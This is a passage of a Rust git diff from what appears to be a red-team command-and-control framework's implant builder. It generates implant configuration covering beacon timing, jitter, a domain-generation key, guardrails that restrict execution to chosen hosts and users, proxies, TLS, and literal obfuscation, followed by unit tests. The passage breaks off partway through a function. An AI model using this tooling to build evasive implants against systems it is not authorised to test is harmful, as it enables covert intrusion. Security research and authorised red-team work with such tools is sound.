+ log_step!("Updating core configuration..."); + + // Validate configuration + server + .validate_targets() + .context("Configuration validation failed")?; + + // When mod is bind, only tcp or udp protocols are allowed + if implant_config.r#mod.to_lowercase() == "bind" { + for (index, target) in server.targets.iter().enumerate() { + let protocol = target.detect_protocol(); + if protocol != "tcp" && protocol != "udp" { + anyhow::bail!( + "Target {} uses '{}' protocol, but bind mode only supports tcp/udp", + index, + protocol + ); + } + } + } + + backup_generated_file(CONFIG_CORE_RS_PATH); + let mut file = File::create(CONFIG_CORE_RS_PATH) + .with_context(|| format!("Failed to create {}", CONFIG_CORE_RS_PATH))?; + + // Generate configuration content + let use_obfstr = build_config.map(|cfg| cfg.obfstr).unwrap_or(true); + let config_content = generate_multi_protocol_config(server, use_obfstr); + + file.write_all(config_content.as_bytes()) + .context("Failed to write config file")?; + + log_success!("Core configuration has been updated successfully"); + Ok(()) +} + +fn generate_multi_protocol_config(server: &BasicConfig, use_obfstr: bool) -> String { + let mut config = String::new(); + + // Generate module imports + config.push_str(&generate_module_imports(server)); + + // Generate lazy_static blocks with inline RuntimeConfig construction + config.push_str(&generate_public_config_section(server, use_obfstr)); + + config +} + +fn generate_runtime_config_inline_expr(server: &BasicConfig, use_obfstr: bool) -> String { + let proxy = &server.proxy; + let mut proxy_scheme = String::new(); + let mut proxy_host = String::new(); + let mut proxy_port = String::new(); + let mut proxy_username = String::new(); + let mut proxy_password = String::new(); + if !proxy.url.is_empty() { + if let Ok(proxy_url) = Url::parse(&proxy.url) { + proxy_scheme = proxy_url.scheme().to_string(); + proxy_host = proxy_url.host_str().unwrap_or("").to_string(); + proxy_port = proxy_url + .port() + .map(|p| p.to_string()) + .unwrap_or_else(|| default_proxy_port(&proxy_scheme).to_string()); + proxy_username = proxy_url.username().to_string(); + proxy_password = proxy_url.password().unwrap_or("").to_string(); + } + } + + let guardrail_expr = generate_guardrail_config_expr(&server.guardrail, use_obfstr); + let server_configs_expr = generate_server_configs_expr(server, use_obfstr); + let dga_key_expr = if server.dga.enable { + obf_or_plain_expr(&server.dga.key, use_obfstr) + } else { + "String::new()".to_string() + }; + + format!( + r#"load_runtime_config(RuntimeConfig {{ + cron: {cron}, + jitter: {jitter}f64, + keepalive: {keepalive}, + retry: {retry}u32, + max_cycles: {max_cycles}i32, + name: {name}, + key: {key}, + use_env_proxy: {use_env_proxy}, + proxy_url: {proxy_url}, + proxy_scheme: {proxy_scheme}, + proxy_host: {proxy_host}, + proxy_port: {proxy_port}, + proxy_username: {proxy_username}, + proxy_password: {proxy_password}, + dga_enable: {dga_enable}, + dga_key: {dga_key}, + dga_interval_hours: {dga_interval_hours}u32, + guardrail: {guardrail}, + server_configs: {server_configs}, + max_packet_length: {max_packet_length}usize, + }})"#, + cron = obf_or_plain_expr(&server.cron, use_obfstr), + jitter = server.jitter, + retry = server.retry, + max_cycles = server.max_cycles.unwrap_or(-1), + name = obf_or_plain_expr(&server.name, use_obfstr), + key = bytes_expr(&server.key, use_obfstr), + use_env_proxy = proxy.use_env_proxy, + proxy_url = obf_or_plain_expr(&proxy.url, use_obfstr), + proxy_scheme = obf_or_plain_expr(&proxy_scheme, use_obfstr), + proxy_host = obf_or_plain_expr(&proxy_host, use_obfstr), + proxy_port = obf_or_plain_expr(&proxy_port, use_obfstr), + proxy_username = obf_or_plain_expr(&proxy_username, use_obfstr), + proxy_password = obf_or_plain_expr(&proxy_password, use_obfstr), + dga_enable = server.dga.enable, + dga_key = dga_key_expr, + dga_interval_hours = server.dga.interval_hours, + keepalive = server.keepalive, + guardrail = guardrail_expr, + server_configs = server_configs_expr, + max_packet_length = server.max_packet_length, + ) +} + +fn generate_public_config_section(server: &BasicConfig, use_obfstr: bool) -> String { + let runtime_config_expr = generate_runtime_config_inline_expr(server, use_obfstr); + let (age_priv_expr, age_pub_expr) = if server.secure.enable { + ( + obf_or_plain_expr(&server.secure.private_key, use_obfstr), + obf_or_plain_expr(&server.secure.public_key, use_obfstr), + ) + } else { + ("String::new()".to_string(), "String::new()".to_string()) + }; + let mut config = String::new(); + config.push_str(&format!( + r#"lazy_static! {{ + pub static ref RUNTIME_CONFIG: RuntimeConfig = {runtime_config_expr}; + // Basic configuration + pub static ref CRON: String = RUNTIME_CONFIG.cron.clone(); + pub static ref JITTER: f64 = RUNTIME_CONFIG.jitter; + pub static ref KEEPALIVE: bool = RUNTIME_CONFIG.keepalive; + // Target server fault tolerance configuration + pub static ref RETRY: u32 = RUNTIME_CONFIG.retry; + pub static ref MAX_CYCLES: i32 = RUNTIME_CONFIG.max_cycles; + // Encryption configuration + pub static ref NAME: String = RUNTIME_CONFIG.name.clone(); + pub static ref KEY: Vec = RUNTIME_CONFIG.key.clone(); + // Proxy configuration + pub static ref USE_ENV_PROXY: bool = RUNTIME_CONFIG.use_env_proxy; + pub static ref PROXY_URL: String = RUNTIME_CONFIG.proxy_url.clone(); + pub static ref PROXY_SCHEME: String = RUNTIME_CONFIG.proxy_scheme.clone(); + pub static ref PROXY_HOST: String = RUNTIME_CONFIG.proxy_host.clone(); + pub static ref PROXY_PORT: String = RUNTIME_CONFIG.proxy_port.clone(); + pub static ref PROXY_USERNAME: String = RUNTIME_CONFIG.proxy_username.clone(); + pub static ref PROXY_PASSWORD: String = RUNTIME_CONFIG.proxy_password.clone(); + // DGA configuration + pub static ref DGA_ENABLE: bool = RUNTIME_CONFIG.dga_enable; + pub static ref DGA_KEY: String = RUNTIME_CONFIG.dga_key.clone(); + pub static ref DGA_INTERVAL_HOURS: u32 = RUNTIME_CONFIG.dga_interval_hours; + // Guardrail configuration + pub static ref GUARDRAIL_CONFIG: GuardrailConfig = RUNTIME_CONFIG.guardrail.clone(); + // Multi-server configuration - use Vec to maintain configuration order + pub static ref SERVER_CONFIGS: Vec = RUNTIME_CONFIG.server_configs.clone(); + // Packet chunking configuration + pub static ref MAX_PACKET_LENGTH: usize = RUNTIME_CONFIG.max_packet_length; +}} + +#[cfg(feature = "secure")] +lazy_static! {{ + pub static ref AGE_PRIVATE_KEY: String = {age_priv}; + pub static ref AGE_PUBLIC_KEY: String = {age_pub}; +"#, + age_priv = age_priv_expr, + age_pub = age_pub_expr, + )); + config.push_str("}\n"); + + config +} + +fn generate_guardrail_config_expr(guardrail_config: &GuardrailConfig, use_obfstr: bool) -> String { + if !guardrail_config.enable { + return r#"GuardrailConfig { + ip_addresses: Vec::new(), + usernames: Vec::new(), + server_names: Vec::new(), + domains: Vec::new(), + require_all: true, + }"# + .to_string(); + } + + let ip_addresses = guardrail_config + .ip_addresses + .iter() + .map(|ip| obf_or_plain_expr(ip, use_obfstr)) + .collect::>() + .join(", "); + let usernames = guardrail_config + .usernames + .iter() + .map(|user| obf_or_plain_expr(user, use_obfstr)) + .collect::>() + .join(", "); + let server_names = guardrail_config + .server_names + .iter() + .map(|server| obf_or_plain_expr(server, use_obfstr)) + .collect::>() + .join(", "); + let domains = guardrail_config + .domains + .iter() + .map(|domain| obf_or_plain_expr(domain, use_obfstr)) + .collect::>() + .join(", "); + + format!( + r#"GuardrailConfig {{ + ip_addresses: [{ip_addresses}].to_vec(), + usernames: [{usernames}].to_vec(), + server_names: [{server_names}].to_vec(), + domains: [{domains}].to_vec(), + require_all: {require_all}, + }}"#, + ip_addresses = ip_addresses, + usernames = usernames, + server_names = server_names, + domains = domains, + require_all = guardrail_config.require_all + ) +} + +fn generate_server_configs_expr(server: &BasicConfig, use_obfstr: bool) -> String { + let mut expr = String::new(); + expr.push_str("{\n let mut configs = Vec::new();\n"); + for (idx, target) in server.targets.iter().enumerate() { + expr.push_str(&generate_single_server_config_expr( + target, server, use_obfstr, idx, + )); + } + expr.push_str(" configs\n }"); + expr +} + +fn generate_single_server_config_expr( + target: &TargetConfig, + basic_config: &BasicConfig, + use_obfstr: bool, + _index: usize, +) -> String { + let protocol = target.detect_protocol(); + let protocol_type = match protocol.as_str() { + "http" => "Http", + "tcp" => "Tcp", + "rem" => "REM", + _ => "Tcp", + }; + + let address_expr = obf_or_plain_expr(&target.address, use_obfstr); + + let mut config = String::from(" {\n"); + config.push_str(&generate_transport_config(target, use_obfstr)); + config.push_str(&generate_session_config_block( + target, + basic_config, + use_obfstr, + )); + config.push_str(&format!( + r#" configs.push( + ServerConfig {{ + address: {address}, + protocol: ProtocolType::{protocol}, + session_config, + transport_config, +"#, + address = address_expr, + protocol = protocol_type + )); + + config.push_str(&generate_tls_config_for_target( + target, + basic_config, + use_obfstr, + )); + config.push_str(&generate_proxy_config_for_target( + target, + basic_config, + use_obfstr, + )); + config.push_str(&generate_domain_suffix_config(target, use_obfstr)); + + config.push_str(" }\n"); + config.push_str(" );\n"); + config.push_str(" }\n\n"); + config +} + +fn generate_module_imports(server: &BasicConfig) -> String { + let needs_http = server.targets.iter().any(|target| target.http.is_some()); + + let mut imports = String::new(); + imports.push_str( + r#"mod config; +mod runtime; +"#, + ); + if needs_http { + imports.push_str("use std::collections::HashMap;\n"); + } + imports.push_str("use std::time::Duration;\n"); + imports.push_str( + r#" +pub use config::{ + ServerConfig, + ProtocolType, + SessionConfig, + TransportConfig, + // TCP + TcpConfig, + SocketOptions, + // HTTP + HttpRequestConfig, + // REM + RemConfig, + // TLS + MTLSConfig, + TlsConfig, + ProxyConfig, + // Guardrail + GuardrailConfig, +}; +pub use runtime::{ + BlobError, + ConfigBlobText, + RuntimeConfig, + CONFIG_BLOB_B64_LEN, + CONFIG_BLOB_TEXT, + CONFIG_BLOB_TEXT_LEN, + decode_runtime_config_bytes, + decode_runtime_config_str, + get_transport_key, + load_runtime_config, + update_runtime_key, +}; +#[cfg(feature = "encoder")] +pub use runtime::encode_runtime_config; +use malefic_gateway::lazy_static; + +"#, + ); + + imports +} + +fn generate_transport_config(target: &TargetConfig, use_obfstr: bool) -> String { + if let Some(http_config) = &target.http { + let _host = target.get_host(); + let mut headers_code = String::new(); + + // Generate Host header + headers_code.push_str(&format!( + " headers.insert({}, {});\n", + obf_or_plain_expr("Host", use_obfstr), + obf_or_plain_expr(&target.address, use_obfstr) + )); + + // Generate other headers + for (key, value) in &http_config.headers { + if key != "Host" { + // Host is already handled separately + headers_code.push_str(&format!( + " headers.insert({}, {});\n", + obf_or_plain_expr(key, use_obfstr), + obf_or_plain_expr(value, use_obfstr) + )); + } + } + + format!( + r#" let transport_config = TransportConfig::Http({{ + let mut http_config = HttpRequestConfig::new({method}, {path}, {version}); + http_config.headers = {{ + let mut headers = HashMap::new(); +{headers} headers + }}; +{tuning} http_config + }}); +"#, + method = obf_or_plain_expr(&http_config.method, use_obfstr), + path = obf_or_plain_expr(&http_config.path, use_obfstr), + version = obf_or_plain_expr(&http_config.version, use_obfstr), + headers = headers_code, + tuning = format!( + "{}{}", + http_config + .response_read_chunk_size + .map(|size| format!( + " http_config.response_read_chunk_size = {size};\n" + )) + .unwrap_or_default(), + http_config + .response_retry_delay_ms + .map(|millis| format!( + " http_config.response_retry_delay = Duration::from_millis({millis});\n" + )) + .unwrap_or_default() + ) + ) + } else if let Some(rem_config) = &target.rem { + format!( + r#" let transport_config = TransportConfig::Rem( + RemConfig::new({link}) + ); +"#, + link = obf_or_plain_expr( + &format!("{}{}", REM_LINK_PREFIX, rem_config.link), + use_obfstr + ) + ) + } else { + // Default TCP configuration + " let transport_config = TransportConfig::Tcp(TcpConfig {});\n".to_string() + } +} + +fn generate_session_config_block( + target: &TargetConfig, + basic_config: &BasicConfig, + _use_obfstr: bool, +) -> String { + let mut session = format!( + " let mut session_config = SessionConfig::default_for_transport(&transport_config, {});\n", + basic_config.keepalive + ); + + if let Some(session_config) = &target.session { + if let Some(read_chunk_size) = session_config.read_chunk_size { + session.push_str(&format!( + " session_config.read_chunk_size = {read_chunk_size};\n" + )); + } + if let Some(deadline_ms) = session_config.deadline_ms { + session.push_str(&format!( + " session_config.deadline = Duration::from_millis({deadline_ms});\n" + )); + } + if let Some(connect_timeout_ms) = session_config.connect_timeout_ms { + session.push_str(&format!( + " session_config.connect_timeout = Duration::from_millis({connect_timeout_ms});\n" + )); + } + if let Some(keepalive) = session_config.keepalive { + session.push_str(&format!( + " session_config.keepalive = {keepalive};\n" + )); + } + } + + session +} + +fn generate_tls_config_for_target( + target: &TargetConfig, + _basic_config: &BasicConfig, + use_obfstr: bool, +) -> String { + // Directly handle target.tls Option + if let Some(tls_config) = &target.tls { + if tls_config.enable { + let sni = if tls_config.sni.is_empty() { + target.get_host() + } else { + tls_config.sni.clone() + }; + + let mtls_code = if let Some(mtls) = &tls_config.mtls { + format!( + r#"mtls_config: Some(MTLSConfig {{ + enable: true, + client_cert: include_bytes!("{}").to_vec(), + client_key: include_bytes!("{}").to_vec(), + server_ca: include_bytes!("{}").to_vec(), + }}), +"#, + mtls.client_cert, mtls.client_key, mtls.server_ca + ) + } else { + "mtls_config: None,\n".to_string() + }; + + let server_ca_code = if let Some(ref ca_path) = tls_config.server_ca { + if !ca_path.is_empty() { + format!(r#"server_ca: include_bytes!("{}").to_vec(),"#, ca_path) + } else { + "server_ca: Vec::new(),".to_string() + } + } else { + "server_ca: Vec::new(),".to_string() + }; + + let tls_code = format!( + r#" tls_config: Some(TlsConfig {{ + enable: true, + version: {version}, + sni: {sni}, + skip_verification: {skip_verification}, + {server_ca} + {mtls} + }}), +"#, + version = obf_or_plain_expr(&tls_config.version, use_obfstr), + sni = obf_or_plain_expr(&sni, use_obfstr), + skip_verification = tls_config.skip_verification, + server_ca = server_ca_code, + mtls = mtls_code + ); + + tls_code + } else { + " tls_config: None,\n".to_string() + } + } else { + // Target has no TLS configuration, return None + " tls_config: None,\n".to_string() + } +} + +fn generate_proxy_config_for_target( + target: &TargetConfig, + basic_config: &BasicConfig, + use_obfstr: bool, +) -> String { + // Prioritize target-specific proxy configuration, otherwise use global configuration + let proxy_config = target.proxy.as_ref().unwrap_or(&basic_config.proxy); + + // Check if there is a proxy configuration + if !proxy_config.url.is_empty() { + if let Ok(proxy_url) = Url::parse(&proxy_config.url) { + format!( + r#" proxy_config: Some(ProxyConfig {{ + proxy_type: "{}".to_string(), + host: {}, + port: {}, + username: {}, + password: {}, + }}), +"#, + proxy_url.scheme(), + obf_or_plain_expr(proxy_url.host_str().unwrap_or(""), use_obfstr), + proxy_url + .port() + .unwrap_or_else(|| default_proxy_port(proxy_url.scheme())), + obf_or_plain_expr(proxy_url.username(), use_obfstr), + obf_or_plain_expr(proxy_url.password().unwrap_or(""), use_obfstr) + ) + } else { + " proxy_config: None,\n".to_string() + } + } else { + " proxy_config: None,\n".to_string() + } +} + +fn generate_domain_suffix_config(target: &TargetConfig, use_obfstr: bool) -> String { + if let Some(ref suffix) = target.domain_suffix { + format!( + r#" domain_suffix: Some({}), +"#, + obf_or_plain_expr(suffix, use_obfstr) + ) + } else { + " domain_suffix: None,\n".to_string() + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::config::*; + + /// Minimal BasicConfig for testing codegen output (not file I/O). + fn test_basic_config() -> BasicConfig { + BasicConfig { + name: "test".to_string(), + targets: vec![], + proxy: ProxyConfig::default(), + cron: "*/5 * * * * * *".to_string(), + jitter: 0.0, + keepalive: false, + encryption: "aes".to_string(), + key: "testkey".to_string(), + retry: 3, + max_cycles: Some(-1), + dga: DgaConfig::default(), + guardrail: GuardrailConfig::default(), + secure: SecureConfig { + enable: false, + private_key: String::new(), + public_key: String::new(), + }, + max_packet_length: 0, + } + } + + // ================================================================ + // Regression: generate_module_imports uses malefic_gateway + // ================================================================ + + #[test] + fn test_imports_use_malefic_gateway_lazy_static() { + let imports = generate_module_imports(&test_basic_config()); + assert!( + imports.contains("use malefic_gateway::lazy_static;"), + "generated imports must use malefic_gateway::lazy_static, got:\n{}", + imports + ); + } + + #[test] + fn test_imports_no_old_lazy_static_crate() { + let imports = generate_module_imports(&test_basic_config()); + assert!( + !imports.contains("use lazy_static::lazy_static;"), + "generated imports must NOT reference the old lazy_static crate, got:\n{}", + imports + ); + } + + // ================================================================ + // Regression: generate_public_config_section uses lazy_static! macro + // ================================================================ + + #[test] + fn test_public_config_section_uses_lazy_static_macro() { + let server = test_basic_config(); + let section = generate_public_config_section(&server, false); + assert!( + section.starts_with("lazy_static! {"), + "generated config section must invoke lazy_static! macro, got:\n{}", + section + ); + } + + #[test] + fn test_public_config_section_contains_runtime_config() { + let server = test_basic_config(); + let section = generate_public_config_section(&server, false); + assert!( + section.contains("pub static ref RUNTIME_CONFIG: RuntimeConfig"), + "generated config section must define RUNTIME_CONFIG" + ); + } + + #[test] + fn test_public_config_section_contains_all_config_statics() { + let server = test_basic_config(); + let section = generate_public_config_section(&server, false); + let expected_statics = [ + "RUNTIME_CONFIG", + "CRON", + "JITTER", + "KEEPALIVE", + "RETRY", + "MAX_CYCLES", + "NAME", + "KEY", + "USE_ENV_PROXY", + "PROXY_URL", + "PROXY_SCHEME", + "PROXY_HOST", + "PROXY_PORT", + "PROXY_USERNAME", + "PROXY_PASSWORD", + "DGA_ENABLE", + "DGA_KEY", + "DGA_INTERVAL_HOURS", + "GUARDRAIL_CONFIG", + "SERVER_CONFIGS", + ]; + for name in &expected_statics { + assert!( + section.contains(&format!("pub static ref {name}:")), + "generated config section must define {name}" + ); + } + } + + #[test] + fn test_public_config_section_has_empty_age_keys_when_secure_disabled() { + let server = test_basic_config(); + let section = generate_public_config_section(&server, false); + assert!( + section.contains("#[cfg(feature = \"secure\")]"), + "secure config statics must be gated by the config feature" + ); + assert!( + section.contains("AGE_PRIVATE_KEY"), + "AGE_PRIVATE_KEY must exist even when secure config is empty" + ); + assert!( + section.contains("String::new()"), + "secure statics must fall back to empty strings when secure config is disabled" + ); + } + + #[test] + fn test_public_config_section_has_age_keys_when_secure_enabled() { + let mut server = test_basic_config(); + server.secure.enable = true; + server.secure.private_key = "test_priv".to_string(); + server.secure.public_key = "test_pub".to_string(); + let section = generate_public_config_section(&server, false); + assert!( + section.contains("AGE_PRIVATE_KEY"), + "AGE_PRIVATE_KEY must appear when secure is enabled" + ); + assert!( + section.contains("AGE_PUBLIC_KEY"), + "AGE_PUBLIC_KEY must appear when secure is enabled" + ); + assert!( + section.contains("#[cfg(feature = \"secure\")]"), + "secure config statics must be gated by the config feature" + ); + assert!(section.contains(r#""test_priv".to_string()"#)); + assert!(section.contains(r#""test_pub".to_string()"#)); + } + + // ================================================================ + // Regression: full generated config uses new import + // ================================================================ + + #[test] + fn test_full_config_output_uses_new_lazy_static() { + let server = test_basic_config(); + let full = generate_multi_protocol_config(&server, false); + assert!( + full.contains("use malefic_gateway::lazy_static;"), + "full generated config must import from malefic_gateway" + ); + assert!( + !full.contains("use lazy_static::lazy_static;"), + "full generated config must NOT import from lazy_static crate" + ); + assert!( + full.contains("lazy_static! {"), + "full generated config must contain lazy_static! invocation" + ); + } + + #[test] + fn test_full_config_has_closing_brace() { + let server = test_basic_config(); + let full = generate_multi_protocol_config(&server, false); + assert!( + full.ends_with("}\n"), + "full generated config must end with closing brace" + ); + } + + // ================================================================ + // obf_or_plain_expr / bytes_expr — always emit plain form now + // ================================================================ + + #[test] + fn test_obf_or_plain_expr_always_plain() { + // use_obfstr=false + let result_false = obf_or_plain_expr("hello", false); + assert_eq!(result_false, r#""hello".to_string()"#); + // use_obfstr=true — same output, obfstr no longer used + let result_true = obf_or_plain_expr("hello", true); + assert_eq!(result_true, r#""hello".to_string()"#); + } + + #[test] + fn test_obf_or_plain_expr_no_obfstr() { + let result = obf_or_plain_expr("secret", true); + assert!( + !result.contains("obfstr"), + "obf_or_plain_expr must NOT emit obfstr, protection is now automatic via LiteralObfuscator" + ); + } + + #[test] + fn test_bytes_expr_always_plain() { + let result_false = bytes_expr("key", false); + assert!(result_false.contains(".to_string().into_bytes()")); + let result_true = bytes_expr("key", true); + assert!(result_true.contains(".to_string().into_bytes()")); + } + + #[test] + fn test_bytes_expr_no_obfstr() { + let result = bytes_expr("key", true); + assert!( + !result.contains("obfstr"), + "bytes_expr must NOT emit obfstr" + ); + } + + // ================================================================ + // Plan B: RuntimeConfig inlined in lazy_static init + // ================================================================ + + #[test] + fn test_no_default_runtime_config_fn() { + let server = test_basic_config(); + let full = generate_multi_protocol_config(&server, false); + assert!( + !full.contains("fn default_runtime_config()"), + "default_runtime_config function must NOT be generated (inlined into lazy_static)" + ); + } + + #[test] + fn test_runtime_config_inlined_in_lazy_static() { + let server = test_basic_config(); + let full = generate_multi_protocol_config(&server, false); + assert!( + full.contains("load_runtime_config(RuntimeConfig {"), + "RuntimeConfig must be constructed inline in lazy_static init, got:\n{}", + full + ); + } + + #[test] + fn test_runtime_config_inline_contains_config_values() { + let server = test_basic_config(); + let expr = generate_runtime_config_inline_expr(&server, false); + // String fields emit "value".to_string() + assert!(expr.contains(r#""*/5 * * * * * *".to_string()"#)); + assert!(expr.contains(r#""test".to_string()"#)); + assert!(expr.contains("keepalive: false")); + // No obfstr anywhere + assert!(!expr.contains("obfstr")); + } + + // ================================================================ + // Plan D: typed integer suffixes + // ================================================================ + + #[test] + fn test_runtime_config_inline_has_typed_integers() { + let server = test_basic_config(); + let expr = generate_runtime_config_inline_expr(&server, false); + assert!( + expr.contains("3u32"), + "retry must have u32 suffix, got:\n{}", + expr + ); + assert!( + expr.contains("-1i32"), + "max_cycles must have i32 suffix, got:\n{}", + expr + ); + assert!( + expr.contains("0.0f64") || expr.contains("0f64"), + "jitter must have f64 suffix, got:\n{}", + expr + ); + } + + #[test] + fn test_runtime_config_inline_dga_interval_typed() { + let mut server = test_basic_config(); + server.dga.interval_hours = 24; + let expr = generate_runtime_config_inline_expr(&server, false); + assert!( + expr.contains("24u32"), + "dga_interval_hours must have u32 suffix" + ); + } + + // ================================================================ + // Guardrail: [].to_vec() instead of vec![] + // ================================================================ + + #[test] + fn test_guardrail_disabled_uses_vec_new() { + let guardrail = GuardrailConfig::default(); + let expr = generate_guardrail_config_expr(&guardrail, false); + assert!(expr.contains("Vec::new()")); + assert!(!expr.contains("vec!")); + } + + #[test] + fn test_guardrail_enabled_uses_array_to_vec() { + let guardrail = GuardrailConfig { + enable: true, + require_all: true, + ip_addresses: vec!["1.2.3.4".to_string()], + usernames: vec!["admin".to_string()], + server_names: vec![], + domains: vec!["example.com".to_string()], + }; + let expr = generate_guardrail_config_expr(&guardrail, false); + // Must use [].to_vec() not vec![] + assert!( + !expr.contains("vec!["), + "guardrail must NOT use vec![] macro (LiteralObfuscator can't traverse macro bodies)" + ); + assert!( + expr.contains("].to_vec()"), + "guardrail must use [].to_vec() for auto-obfuscation" + ); + // Values must be plain .to_string() (auto-protected by LiteralObfuscator) + assert!(expr.contains(r#""1.2.3.4".to_string()"#)); + assert!(expr.contains(r#""admin".to_string()"#)); + assert!(expr.contains(r#""example.com".to_string()"#)); + } +} diff --git a/malefic-mutant/src/generate/features.rs b/malefic-mutant/src/generate/features.rs new file mode 100644 index 0000000..f84b523 --- /dev/null +++ b/malefic-mutant/src/generate/features.rs @@ -0,0 +1,481 @@ +use anyhow::Context; +use serde_json::Value; +use std::collections::{HashMap, HashSet}; +use std::fs; +use std::path::Path; +use toml_edit::DocumentMut; + +use super::cargo_features; +use crate::{log_debug, log_info, log_warning, CONFIG_SCHEMA}; + +// ── Feature Scanner ──────────────────────────────────────────────── + +#[derive(Debug, Clone)] +struct CrateFeatures { + name: String, + features: HashMap>, +} + +#[derive(Debug, Clone)] +struct FeatureRegistry { + crates: HashMap, +} + +impl FeatureRegistry { + fn scan_workspace(workspace_root: &Path) -> anyhow::Result { + let root_content = fs::read_to_string(workspace_root.join("Cargo.toml")) + .context("Failed to read workspace Cargo.toml")?; + let root_doc: DocumentMut = root_content + .parse() + .context("Failed to parse workspace Cargo.toml")?; + + let members = root_doc + .get("workspace") + .and_then(|w| w.get("members")) + .and_then(|m| m.as_array()) + .context("No workspace.members found")?; + + let mut crates = HashMap::new(); + for member in members.iter() { + let member_path = member + .as_str() + .context("workspace member is not a string")?; + let crate_toml_path = workspace_root.join(member_path).join("Cargo.toml"); + if !crate_toml_path.exists() { + continue; + } + match Self::parse_crate_features(&crate_toml_path) { + Ok(cf) => { + crates.insert(cf.name.clone(), cf); + } + Err(e) => { + log_warning!("Failed to parse features for {}: {}", member_path, e); + } + } + } + log_info!("Scanned {} workspace crates", crates.len()); + Ok(FeatureRegistry { crates }) + } + + fn parse_crate_features(toml_path: &Path) -> anyhow::Result { + let content = fs::read_to_string(toml_path) + .with_context(|| format!("Failed to read {}", toml_path.display()))?; + let doc: DocumentMut = content + .parse() + .with_context(|| format!("Failed to parse {}", toml_path.display()))?; + + let name = doc + .get("package") + .and_then(|p| p.get("name")) + .and_then(|n| n.as_str()) + .unwrap_or("") + .to_string(); + + let mut features = HashMap::new(); + if let Some(feat_table) = doc.get("features").and_then(|f| f.as_table()) { + for (feat_name, feat_value) in feat_table.iter() { + let deps: Vec = feat_value + .as_array() + .map(|arr| { + arr.iter() + .filter_map(|v| v.as_str().map(|s| s.to_string())) + .collect() + }) + .unwrap_or_default(); + features.insert(feat_name.to_string(), deps); + } + } + Ok(CrateFeatures { name, features }) + } + + fn validate_features(&self, crate_name: &str, features: &[String]) -> Vec { + features + .iter() + .filter(|f| { + !self + .crates + .get(crate_name) + .map(|c| c.features.contains_key(f.as_str())) + .unwrap_or(false) + }) + .cloned() + .collect() + } +} + +// ── Feature Resolver ─────────────────────────────────────────────── + +struct FeatureResolver { + schema: Value, +} + +impl FeatureResolver { + fn from_str(schema_str: &str) -> anyhow::Result { + let schema: Value = + serde_json::from_str(schema_str).context("Failed to parse schema JSON")?; + Ok(FeatureResolver { schema }) + } + + fn resolve(&self, config: &Value) -> anyhow::Result> { + let mut features = HashSet::new(); + if let Some(properties) = self.schema.get("properties") { + self.walk_properties(properties, config, "", &mut features)?; + } + let mut result: Vec = features.into_iter().collect(); + result.sort(); + log_info!("Resolved {} features: {}", result.len(), result.join(", ")); + Ok(result) + } + + fn resolve_crypto(&self, config: &Value) -> String { + match config + .pointer("/basic/encryption") + .and_then(|v| v.as_str()) + .unwrap_or("") + { + "aes" => "crypto_aes".to_string(), + "chacha20" => "crypto_chacha20".to_string(), + _ => "crypto_xor".to_string(), + } + } + + fn walk_properties( + &self, + schema_props: &Value, + config: &Value, + path: &str, + features: &mut HashSet, + ) -> anyhow::Result<()> { + let props = match schema_props.as_object() { + Some(p) => p, + None => return Ok(()), + }; + + for (key, prop_schema) in props { + let config_value = config.get(key); + let current_path = if path.is_empty() { + key.clone() + } else { + format!("{}.{}", path, key) + }; + + if let Some(annotation) = prop_schema.get("x-cargo-features") { + self.apply_annotation(annotation, config_value, ¤t_path, features)?; + } + + if prop_schema.get("type").and_then(|t| t.as_str()) == Some("array") { + if let Some(items_schema) = prop_schema.get("items") { + if let Some(group) = items_schema.get("x-cargo-features-group") { + self.apply_group_annotation(group, config_value, ¤t_path, features)?; + } + if let Some(item_props) = items_schema.get("properties") { + if let Some(arr) = config_value.and_then(|v| v.as_array()) { + for item in arr { + self.walk_properties( + item_props, + item, + &format!("{}[]", current_path), + features, + )?; + } + } + } + } + } + + if prop_schema.get("type").and_then(|t| t.as_str()) == Some("object") { + if let Some(nested_props) = prop_schema.get("properties") { + let nested_config = config_value.unwrap_or(&Value::Null); + self.walk_properties(nested_props, nested_config, ¤t_path, features)?; + } + } + } + Ok(()) + } + + fn apply_annotation( + &self, + annotation: &Value, + config_value: Option<&Value>, + path: &str, + features: &mut HashSet, + ) -> anyhow::Result<()> { + let anno_type = annotation + .get("type") + .and_then(|t| t.as_str()) + .unwrap_or(""); + match anno_type { + "bool_flag" => { + if config_value.and_then(|v| v.as_bool()).unwrap_or(false) { + if let Some(feat_list) = annotation.get("features").and_then(|f| f.as_array()) { + for f in feat_list { + if let Some(s) = f.as_str() { + log_debug!(" [bool_flag] {} = true -> feature '{}'", path, s); + features.insert(s.to_string()); + } + } + } + } + } + "enum_map" => { + let value_str = config_value.and_then(|v| v.as_str()).unwrap_or(""); + if let Some(mapping) = annotation.get("mapping").and_then(|m| m.as_object()) { + let matched = mapping.get(value_str).or_else(|| mapping.get("*")); + if let Some(feat_list) = matched.and_then(|v| v.as_array()) { + for f in feat_list { + if let Some(s) = f.as_str() { + log_debug!( + " [enum_map] {} = {:?} -> feature '{}'", + path, + value_str, + s + ); + features.insert(s.to_string()); + } + } + } + } + } + "non_empty" => { + let is_non_empty = config_value + .and_then(|v| v.as_str()) + .map(|s| !s.is_empty()) + .unwrap_or(false); + if is_non_empty { + if let Some(feat_list) = annotation.get("features").and_then(|f| f.as_array()) { + for f in feat_list { + if let Some(s) = f.as_str() { + log_debug!(" [non_empty] {} -> feature '{}'", path, s); + features.insert(s.to_string()); + } + } + } + } + } + _ => {} + } + Ok(()) + } + + fn apply_group_annotation( + &self, + group: &Value, + config_value: Option<&Value>, + path: &str, + features: &mut HashSet, + ) -> anyhow::Result<()> { + let items = match config_value.and_then(|v| v.as_array()) { + Some(arr) => arr, + None => return Ok(()), + }; + + let presence_fields = group.get("presence_fields").and_then(|p| p.as_object()); + let default_features = group.get("default_when_absent").and_then(|d| d.as_array()); + + for (idx, item) in items.iter().enumerate() { + let item_obj = match item.as_object() { + Some(o) => o, + None => continue, + }; + + let mut any_presence_hit = false; + if let Some(pf) = presence_fields { + for (field_name, feat_list) in pf { + let is_present = item_obj + .get(field_name) + .map(|v| !v.is_null()) + .unwrap_or(false); + if is_present { + any_presence_hit = true; + if let Some(arr) = feat_list.as_array() { + for f in arr { + if let Some(s) = f.as_str() { + log_debug!( + " [presence] {}[{}].{} present -> feature '{}'", + path, + idx, + field_name, + s + ); + features.insert(s.to_string()); + } + } + } + } + } + } + + if !any_presence_hit { + if let Some(defaults) = default_features { + for f in defaults { + if let Some(s) = f.as_str() { + log_debug!( + " [default_when_absent] {}[{}] -> feature '{}'", + path, + idx, + s + ); + 